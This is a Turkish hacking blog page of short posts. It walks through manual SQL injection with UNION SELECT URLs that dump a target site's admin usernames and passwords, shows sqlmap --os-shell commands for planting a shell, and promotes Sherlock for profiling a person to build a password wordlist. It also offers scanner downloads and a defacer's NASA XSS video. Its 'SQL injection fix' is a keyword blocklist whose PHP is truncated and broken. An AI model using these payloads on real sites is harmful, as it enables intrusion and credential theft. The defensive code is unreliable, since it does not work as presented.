4 Mart 2021 Perşembe

Sherlock: Sosyal Medya Bilgi Toplama Aracı

Sherlock: Sosyal Medya Bilgi Toplama Aracı


Merhaba sevgili CyberrWeb takipçileri, Sherlock kullanımı gayet basit bir script olmakla beraber basit oldugu kadarda kullanışlıdırda. Kullanım alanları başlıktanda anlayacağınız üzere sosyal medya hesapları üzerindedir.

Ne İşe Yarıyor Sherlock?

Sherlock ile internet üzerinde merak ettiğiniz bir kullanıcının kullanıcı adını diğer pek çok platformda aratabilir. Hangi sitelerde mevcut üyeligi oldugunu göre bilirsiniz.

Hedef kişiniz hakkında bu şekilde bilgi edine bilir ve kişiye özel wordlist şifre TXT klasorü oluşturabilirsiniz bu amaç doğrultusundada kullanılabilir.

KULLANIM VİDEO


Video web blog adresimize özel olarak Dark Moon kod adlı bir takipçimiz tarafında çekilmiştir.

DOWNLOAD
Read More

3 Mart 2021 Çarşamba

Manuel SQL Injection | En Basit Anlatım

Manuel SQL Injection | En Basit Anlatım


Sql İnjection Çoğu Zaman Script Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.

DİPNOT: Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.

SQL AÇIĞI MANUEL NASIL BULUNUR?



Hedef Sitemiz ;

Php-Kodu: 

http://www.hedefite.org/show.php?id=4 

 

Açık Olup Olmadığını Kontrol Etme ;

Php-Kodu:

http://www.hedefsite.org/show.php?id=4' 

MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.


Tırnağı Koyup Linke Gittikten Sonra ;

-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.

-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.

-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.

Hatayı Aldık Varsayalım ve Devam Edelim.


Sitedeki Kolon Sayısını Öğrenme ;

Php-Kodu:

http:///www.hedefsite.org/show.php?id=4 order by 1

Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. 😇


 ÖRNEK ;

Php-Kodu: 

http://www.hedefsite.org/show.php?id=4 order by 2 

Php-Kodu: 

http://www.hedefsite.org/show.php?id=4 order by 3

Php-Kodu: 
 http://www.hedefsite.org/show.php?id=4 order by 10 Gibi...


Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.

Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.

Union Select ile Tables Bilgilerine Ulaşmak ;

Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.

KULLANIMI ;

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select 1,2,3,4,5,6,7,8,9

Bu şekilde Komutumuzu Gireceğiz

 

Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.

Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım

Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.

Version Nasıl Öğrenilir ;

Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz. Aşağıda Sizlere Gösterdiğim Şekilde Yapmalısınız.

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select 1,2,3,4,5,6,7,8,9

 

Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.

Php-Kodu:

http://www.hedefsite.org/show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9

 

Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.


Tablo Adı Nasıl Öğrenilir ;

Tablo alma işlemini yapmak için 3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables

Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1

Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.

Artırmak için limit'in önündeki 1 rakamını artırabiliriz.


İşimize Yarayacak Tablo İsimleri Neler Olabilir?

Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc. Ben Admin Olduğunu Varsayıyorum,

Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz

Admin'in Hexlenmiş Hali ; 

Php-Kodu: 

61646d696e Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.

 

Kolon Adlarını Nasıl Çekeceğiz?

Kolon adlarını çekmek için tekrardan 3 kolununu kullanacağım.

Php-Kodu: 

Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e

 

Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.

Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.

İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz. 

İşimize Yarayacak Kolon İsimleri Neler Olabilir?

Username,password,Admin,Pass

Kolon adlarınıda buldugumuza göre tek işimiz kaldı oda kolonlardan veri çekmek

Kolonlardan Veri Nasıl Çekilir?

Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.

Php-Kodu:

http://www.hedefsite.org/show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from (Tablo Adı)

Tablo Adı Örnek :

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin  

Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.

 

Konu Hakkında Sorularınız Olursa Yorumlarda Belirtin Sizlere Yardımcı Olmaya Çalışırım.

Read More

25 Şubat 2021 Perşembe

SQL AÇIĞI NASIL KAPATILIR? | 2021

SQL AÇIĞI NASIL KAPATILIR? | 2021


Her webmaster, coder sitesini yazarken belirli bir şifreleme kullanır. Genellikle bu md5 tir. Şifreler db ye md5 lenmiş halde gider. Böylece db ye yönelik bir saldırıda şifreler hala güvende kalır. Fakat şunu atlıyoruz. Yani şifreler yolda giderken saldırıya uğrarsa?

Hiçbirimiz şunu unutmamalıyız ki zırhlı bir aracın en güvensiz olduğu yer yol üstünde giderken ki halidir. Çünkü bir eylem içinde ve etrafını kontrol edemiyor. İşte sql injection ( ben kısaca sj diyeyim ) böyle bir saldırıdır. Bizim html veya php olan giriş sayfamıza yapılır.

Sj de bu dinamiklikten yararlanır ve bizi aynı kodlarla hataya düşürür. Sj direk bir hack yöntemi değildir.

Şöyle örnek vereyim maçlarda oyuncu pres yaparsa karşısındaki hataya zorlanır ve genelde hata yapar. İşte sj de böyledir.

Peki Biz Bundan Nasıl Korunacağız ?

Alt bulunan kodu config bilgilerini girdiğimiz dosyanın en altına yapıştırmamız yetecektir. Peki bu alttaki kod nasıl SQL İnj açığından Korunmamızı sağlıyor?

GET Methodu ile gelen bütün verileri kontrol ediyor, ve $priv8 İçindeki array’ler var mı yok mu kontrol ediyor…

EKLENECEK KOD:

$priv8 = array ('select', 'insert', 'delete', 'update', 'drop table', 'union', 'null', 'SELECT', 'INSERT', 'DELETE', 'UPDATE', 'DROP TABLE', 'UNION', 'NULL','order by','order by'); for ($i = 0; $i < sizeof ($_GET); ++$i){ for ($j = 0; $j < sizeof ($inj); ++$j){ foreach($_GET as $gets){ if(preg_match ('/' . $priv8[$j] . '/', $gets)){ $temp = key ($_GET); $_GET[$temp] = ''; exit

 

Config dosyasının altına eklemeniz yetecektir.

Read More

23 Şubat 2021 Salı

SQLMAP SHELL INJECTİON

SQLMAP SHELL INJECTİON


Greetings to dear CyberrWeb followers. Now I'm going to make very detailed explanation of how you can upload a shell by taking an advantage of the SQL vulnerability, when you couldn't find any admin panel at your target site.

First, in order to learn whether it is allowed to upload a shell to our target site, enter this command; 

sqlmap.py -u siteadı.com --current-user --dbs 

 

After that, it must indicate us like "current user is DBA : True". If it gives as "current user is DBA : False", that means we can not upload any shell.


Then in order to be able to upload shell to the site, we apply this command; sqlmap.py -u siteadı.com --os-shell


sqlmap.py -u siteadı.com --os-shell

 


After using this command, it will ask for what type of programming language the site has. ".ASP" is used at Windows based servers. If it is a Linux based server then ".PHP" is more likely to be. Look ending of the website adress to learn that.


sitename.com/index.php [PHP] / sitename.com/index.asp [ASP]

 

After you select the appropriate type of programming language, it will ask for the shell's name that is going to be uploaded. Uploading process will start after you enter the name.

TRANSLATOR: Ahmet Tevfik Çevik

Read More

10 Şubat 2021 Çarşamba

WEB SERVICE SECURITY ASSESSMENT TOOL (WSSAT)

WEB SERVICE SECURITY ASSESSMENT TOOL (WSSAT)


Merhaba sevgili CyberrWeb takipçileri, Türk bir yapımcı tarafından yapılmış olan WSSAT hedef sitenin belirtilen parametleri verildiginde site içerisinde analiz gerçekleştirir çıkardığı sonuçları ise sizlere report.html olarak zafiyetleri bildirir içerisinde ise o sitede bulunmakta olan zafiyetler hakkında bilgilendirmeler mevcuttur.

USAGE VİDEO





Read More

3 Şubat 2021 Çarşamba

SQLI VULNERABILITY SCANNER

SQLI VULNERABILITY SCANNER


Merhaba Sevgili CyberrWeb Takipçileri, Sizler İçin Bir Çok Blog Adresinde Paylaşılmış Olan Ama İçerisinde Sakıncalı Virüs Olma İhtimali Yüksek Eklemeler Yapılmasından Dolayı En Güvenilir Olan  Halini Temizleyerek Sizlere Sunduk.

SQLI VULN SCANNER NE İŞE YARAR?


Daha Önceleri Paylaştıgımız SQL Scanner Priv8 İle Aynı Mantıkta Çalışmaktadır. Fakat Aralarındaki Hız Farkı ve Bazı Sitelerdeki SQL Zafiyetlerini Daha Net Bulma Açısından Cracked.to Ekibinin Güncel Olarak Yayınladığı Bu Tool Daha Etkili Şekilde Çalışmaktadır!


PASS: hackerhubb.blogspot.com


Read More

Nasa (Subdomain) XSS Vulnebrality

Nasa (Subdomain) XSS Vulnebrality


Hello CyberrWeb followers, now we are making the most detailed explanation of Nasa's security bug which is available in its most updated subdomain. Special thanks to the Defacer named "Kacang Kod" who is the creator of this video.

So you can find that video that explains how to take advantage of Nasa's XXS security bug that available in its subdomain. The video available down below. For more information, don't forget to subscribe to our blog address.


USAGE VİDEO






Read More